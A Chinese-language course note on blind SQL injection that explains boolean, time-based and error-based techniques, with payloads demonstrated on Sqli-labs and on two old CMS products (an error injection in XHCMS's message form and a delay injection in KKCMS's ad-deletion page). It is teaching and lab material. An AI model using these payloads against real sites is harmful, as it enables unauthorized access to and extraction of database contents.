前记
- 今天是学习小迪安全的第四十四天,本节课主要介绍了当页面没有数据回显时可以采用的三种盲注方式,然后通过案例去加深对盲注的理解
- 同样以实战为主,建议自己复现一遍,所需要的资源已放至下方链接,有需要自取:
WEB攻防——第四十四天
PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式
PHP - MySQL&SQL操作&增删改查
- 功能:数据查询
- 查询:
SELECT * FROM news WHERE id = $id;
- 查询:
- 功能:新增用户、添加新闻、添加留言信息等
- 增加:
INSERT INTO news (列名) VALUES (数据);
- 增加:
- 功能:删除用户、删除新闻、删除留言等
- 删除:
DELETE FROM news WHERE id = $id;
- 删除:
- 功能:修改个人信息、修改文章、修改留言等
- 修改:
UPDATE news SET id = $id;
- 修改:
- 还是那句话,什么样的业务功能决定了什么样的SQL语句,什么样的SQL语句决定了什么类型的SQL注入
- 如何理解这句话呢?就比如说你要实现显示用户信息的业务,那你就要使用到查询语句,查询出来的数据你肯定得显示到页面上吧,那这时候我们就可以使用像
union select 1,2,3,4
这样的语句去注入看回显位啊 - 再比如,你需要实现的是一个删除留言的功能,你需要知道删除前的数据是什么吗?你就只需要知道看删除成功还是删除失败对吧?那这时候你能用
union select
去判断回显位吗?显然是不能的。 - 那遇到上面这种情况我们就没办法注入了吗?所以这就是我们需要知道一些没有回显的注入点应该用什么类型的SQL语句注入的原因
PHP - MySQL&注入函数 - 布尔&报错&延时
- 而下面要讲的三种注入方式,就是遇到一些不能用
union select
查询时,可以尝试的点 - 盲注就是在注入过程中,获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
- 虽然我们看不到前端页面的回显,但是我们可以看这个页面正不正常对吧?那这就是盲注最重要的一个点。
- 盲注分为以下三类:
- 基于布尔(
bool
)的SQL盲注 --> 逻辑判断regexp
、like
、ascii
、left
、ord
、mid
- 基于时间的SQL盲注 --> 延时判断
if
、sleep()
- 基于报错的SQL盲注 --> 报错回显
floor
、updatexml
、extractvalue
- 基于布尔(
- 部分判断语法:
# 布尔盲注
1. and length(database()) = 7; # 判断数据库名长度是否为7
2. and left(database(), 1) = 'p'; # 判断数据库名前1位字符是否为p
3. and left(database(), 2) = 'pi'; # 判断数据库名前2位字符是否为pi
4. and substr(database(), 2, 1) = 'i'; # 判断数据库名从第2位开始后面长度为1(第3位)的字符是否为i
5. and ord(left(database(), 1)) = 112; # 判断数据库名前1位字符转为ascii码之后是否等于112,用于绕过引号检测
6. and asscii(substr(database(), 1, 1)) > 97; # 判断数据库名第1位字符转为asscii码之后是否大于97,同样用于绕过引号检测
# 延时注入
1. and sleep(1); # 休眠1s
2. and if(length(database()) = 7, sleep(1), 0); # 如果数据库名长度等于7,休眠1s,否则等于0
# 报错注入
1. and updatexml(1, concat(0x7e, (SELECT version(), 0x7e), 1)); # 报错回显出当前MySQL版本号
2. and extractvalue(1, concat(0x5c, (SELECT table_name from information_schema.tables limit 1))); # 报错回显出当前第一行表名
- 下面就对这三个注入方式进行详细说明并演示
布尔盲注
-
所谓布尔盲注,布尔是
True
和False
的意思,就是页面有两种状态,如果我们输入正确的数值就正常(正常回显数据),输入错误的数值就异常(比如某一部分显示空白) -
那此时就说明页面有两种状态,那么我们就可以基于页面的状态判断我们注入的SQL语句是否正确执行
-
以Sqli-labs第8关作为演示案例,当我们输入
id=1
时,显示一个页面:
-
当我们输入
id=1'
时,显示另一个页面:
-
可以很明显的看到下面的
You are in.......
不见了,那这时就可以使用布尔注入去猜数据 -
那这里我们就可以使用上面的语句尝试猜测一下它的数据库名,
payload
为:1' and length(database()) = 7 --+
:
-
回显错误页面,说明长度,改成8:
-
回显出正确页面,说明数据库名长度等于8,然后我们就可以进一步猜测数据库名的每个字符等等,这个一般都用脚本或工具来跑,手注太慢了
-
如果你看到这里还是对布尔盲注的原理不太理解,推荐你看一下这位大佬的文章:布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程-CSDN博客
时间盲注
-
时间盲注,也称延时注入,一般是
if
条件语句搭配sleep()
函数使用,通过条件的正确与否导致页面产生不同程度的延迟来实现注入 -
它在实战中经常用来判断某个地方是否存在SQL注入;同时当页面没有任何回显/变化时,可以通过它来实现注入
-
这里以Sqli-labs第9关进行演示,这里是单引号闭合方式,输入
id=1
:
-
然后输入
id=1'
尝试让其闭合报错:
-
可以看到没有任何反应,页面也没啥变化,你甚至可能都不确定这到底是不是个注入点
-
那么此时就可以使用延时注入来判断一下,这里输入
id=1' or if(1, sleep(2), sleep(0)) --+
,然后抓包看一下是否会成功延时3秒:
-
可以看到确实延迟了2s,说明我们这个语句成功执行了,那么我们就可以使用上面的语句进行注入了,比如判断数据库名的长度等等,这里就不再演示
-
如果还是一样,看到这里不太能理解原理,还是推荐看一看这篇博客:超硬核,SQL注入之时间盲注,原理+步骤+实战思路-CSDN博客
报错注入
- 其实这个也算是有回显的注入类型了,所谓报错注入就是,开发者人员为了方便调试,会将SQL语句执行错误后的报错信息输出到前端页面当中
- 一般在php中是这段代码:
die(mysqli_error($conn));
- 如果代码审计中看到这个东西,那就可以尝试报错注入
- 这里同样以Sqli-labs第1关为例,我们可以看看代码是怎么写的:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
// 显示正常页面
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error()); // 最主要就是加了一句这个代码!
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
-
我们输入
id=1
,正常回显:
-
当我们输入
id=1'
时,就会产生SQL语句报错:
-
那此时就可以使用报错注入,比如输入
payload
为id=1' and updatexml(1,concat(0x7e, database(), 0x7e),1) --+
:
-
就成功爆出数据库名了,接下来就和
union select
差不多的步骤,通过information_schema
爆出其他数据 -
同样,如果还是不理解原理,请看这篇文章:报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-CSDN博客
PHP - MySQL&注入条件 - 数据回显&错误处理
- 基于延时:都不需要
and if(1, sleep(5), 0);
- 基于布尔:有数据库输出判断标准
and length(database()) = 6;
- 基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e, (SELECT version(), 0x7e), 1))
- 测试
delete
注入:(有无回显,有无报错)- 延迟:
1 or if (1, sleep(5), 0)
- 布尔:
3 and length(database())=6
(无回显,无法判断注入) - 报错:
4 and updatexml(1, concat(0x7e, (SELECT version(), 0x7e), 1))
- 延迟:
PHP - MySQL&CMS案例&插入报错&删除延时
- 接下来我们来直观感受一下,
INSERT
和DELETE
语句使用不当带来的SQL注入 - 虽然都是比较老的系统,但是对于了解攻击面是很有帮助的
xhcms - insert报错注入
-
熊海CMS是一款广泛应用于个人博客、个人网站和企业网站的综合管理系统。它采用PHP、Apache、MySQL等技术,前端使用Bootstrap和少许jQuery框架开发。尽管功能不多,但足够使用。
-
安装就不演示了,直接将源码放到
phpstudy/WWW
下然后创建网站即可,注意php版本是5.4:
-
然后创建完成后,我们就直接看它的源码进行分析
-
使用PhpStorm打开,然后
ctrl+shift+F
全局搜索insert
关键字看它在哪些地方使用了insert
插入语句:
-
可以看到在
submit.php
中使用到了该插入语句,并且最重要的是它后面使用了我们刚刚提到的die(mysql_error())
语句 -
那这不就是个典型的报错注入点吗?而且它还没有过滤
-
所以我们就看一看我们要在哪个页面提交数据才能到进到这个插入逻辑来:
-
可以看到是POST提交的数据啊,那就肯定是某个提交东西的前端页面传进来的嘛,前端的化就差不多是
action=xx/submit.php
这样的语句 -
那直接搜
submit.php
好了:
-
这里搜索
submit.php
是搜不到的,因为它做了一点处理,它的页面是通过?r=xxx
来路由的:
-
他会自动添加
.php
后缀,所以直接搜索submit
即可:
-
那可以看到
contact.php
将POST提交的数据传到了?r=submit
中,在下面可以看到这就是个html
前端页面,访问看一下:
-
根据它的特征,就是这个页面吧?那我们知道如果这个提前闭合单引号呢,比如在昵称这里输入
1'
:
-
可以看到啊,SQL语句报错了,那就确定存在报错注入,输入
payload
为' and updatexml(1, concat(0x7e, version(), 0x7e),1) and '
,那么此时原语句变成了:
INSERT INTO interaction (
type, xs, cid, name, mail, url, touxiang, shebei, ip, content,
tz, date
) VALUES (
'xxx', 'xx', 'xx', '' and updatexml(1, concat(0x7e, version(), 0x7e),1) and '', '12345@qq.com', 'xhcms.cn', 'xxx',
'xxx', 'xxx', '你好', 'xxx', now()
);
-
可以看到前后单引号都闭合了,并且会执行报错语句
updatexml
,回显出版本号:
-
可以看到成功了!那接下来同样可以去注入得到其他的东西,这里就不演示了
kkcms - delete延时注入
-
KKcms是基于PHP和MySQL开发的开源CMS,它老版本的漏洞比较多,适合新手代码审计
-
这其中就有SQL注入漏洞,依旧是环境搭建,和上面一样,但是php版本为
5.6
,然后打开源码全局搜索delete
,并且规定为.php
文件:
-
然后我们发现有一个
ad.php
文件使用了delete
的SQL语句,从下面的代码中可以发现采用的是直接拼接的方式,且并没有做任何过滤操作,只是执行SQL语句分两种情况输出结果 -
那这里我们就知道肯定存在SQL注入,我们需要考虑的是哪种类型的注入方式
-
首先它没有回显数据,所以肯定不是联合注入、报错注入,其次它也没有正常与不正常的两种回显页面,因为你不管执行成功与否都是返回的它逻辑中的页面
-
所以只能尝试延时注入
-
那么确定注入方式之后,我们来找一找这个页面怎么访问
-
我们看到它的逻辑中首先接收一个
del
参数,这是我们可以注入的点;然后删除成功后会跳转到cms_ad.php
-
然后它下面其实还有一个接收
save
参数的情况,这个它是一个添加广告的功能,那就可以确定这个文件就是实现一个添加/删除广告的功能 -
我们访问
cms_ad.php
文件看一看:
-
你可以看到这里它是有一个
cms_check.php
文件的,这个文件是检查当前用户是否为管理员的文件,说明我们需要登录管理员才能访问这个页面 -
那就先找后台然后登录一下,账号密码是
admin:123456
:
-
然后访问这个
cms_ad.php
页面:
-
当前是没有广告的,所以我们先随便添加一个广告,然后再测试删除:
-
现在点击删除然后抓包,输入我们的测试语句
1 or if(1,sleep(10),0) --+
看看是否成功延时 -
这里需要注意两点:
- 数据库中至少要有一条数据
- 在bp中需要将空格编码为%20
-
然后放包:
-
你会发现,我不是写的十秒吗,怎么延迟三十秒,这里是因为删除语句是一条一条遍历的
-
所以延迟的时间就是
N * t
,我这里有三条数据,延迟时间就是3*10 = 30s
-
那可以看到这里确实存在SQL注入,后续就可以尝试用工具跑出数据了
总结
- 本节课主要是介绍了当没有数据回显时,我们可以采用哪些注入方式——报错注入、布尔盲注和时间盲注
- 以及利用两个实际的案例,通过简单的代码审计,找到
insert
、delete
这些常用的SQL语句的注入点,主要是了解SQL多种多样的注入点,了解更多的攻击面